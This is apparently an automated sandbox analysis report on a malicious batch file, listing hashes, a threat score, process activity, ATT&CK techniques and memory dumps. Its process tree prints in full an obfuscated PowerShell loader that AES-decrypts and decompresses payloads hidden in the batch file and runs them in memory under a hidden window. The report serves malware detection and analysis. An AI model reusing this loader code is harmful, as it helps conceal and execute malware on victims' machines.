14ff4d8940a0742974ca662986e8c421e2b0ee7c4dd3bad42133a06d83ff01e7

Analysis

max time kernel
117s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 17:28

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General

Target

skibiditoilet.bat
Size

395KB
MD5

fbcad94ee92cc636d8bba4f642130122
SHA1

e6efade17853c9d8cd4948c066d305ae7eb63f92
SHA256

14ff4d8940a0742974ca662986e8c421e2b0ee7c4dd3bad42133a06d83ff01e7
SHA512

a8aecd98d6ec6ccd40c76878d2f5669cb0260c9717af332adb053c7709a17669dc1d8906dae48081fc8e0f3712b462af013187975951b4b9a618ca1e08319de4
SSDEEP

6144:ZVjmIVN5c/teuyotWSdLVnUUSONjj3CRTPWYMGHGB/CERDTnL98UVzeBy/Dvi:TjVN5c/19koVUwjZYM5B/CER7VCui

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2272 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2272 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2272 powershell.exe

pid	process
2272	powershell.exe

pid	process
2272	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2272	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2736 wrote to memory of 1680	2736	cmd.exe	cmd.exe
PID 2736 wrote to memory of 1680	2736	cmd.exe	cmd.exe
PID 2736 wrote to memory of 1680	2736	cmd.exe	cmd.exe
PID 2736 wrote to memory of 2272	2736	cmd.exe	powershell.exe
PID 2736 wrote to memory of 2272	2736	cmd.exe	powershell.exe
PID 2736 wrote to memory of 2272	2736	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\skibiditoilet.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('izPfV11HfqMvi1lIFXzMNUJXr5RyKqW+SGrEDG8GF3A='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dS+E0kIPSP6vVymeMj9P5A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ldSZb=New-Object System.IO.MemoryStream(,$param_var); $oriEw=New-Object System.IO.MemoryStream; $QUSyd=New-Object System.IO.Compression.GZipStream($ldSZb, [IO.Compression.CompressionMode]::Decompress); $QUSyd.CopyTo($oriEw); $QUSyd.Dispose(); $ldSZb.Dispose(); $oriEw.Dispose(); $oriEw.ToArray();}function execute_function($param_var,$param2_var){ $QWeoB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $DDVCK=$QWeoB.EntryPoint; $DDVCK.Invoke($null, $param2_var);}$FyUxZ = 'C:\Users\Admin\AppData\Local\Temp\skibiditoilet.bat';$host.UI.RawUI.WindowTitle = $FyUxZ;$JhzTL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($FyUxZ).Split([Environment]::NewLine);foreach ($kGcTn in $JhzTL) { if ($kGcTn.StartsWith('ZXAGlRuoMrnYZUvTYuCb')) { $GmyZF=$kGcTn.Substring(20); break; }}$payloads_var=[string[]]$GmyZF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:1680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2272

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2272-4-0x000007FEF599E000-0x000007FEF599F000-memory.dmp

Filesize
4KB

Download
memory/2272-5-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/2272-6-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2272-7-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2272-8-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2272-9-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2272-10-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2272-11-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2272-12-0x000007FEF599E000-0x000007FEF599F000-memory.dmp

Filesize
4KB

Download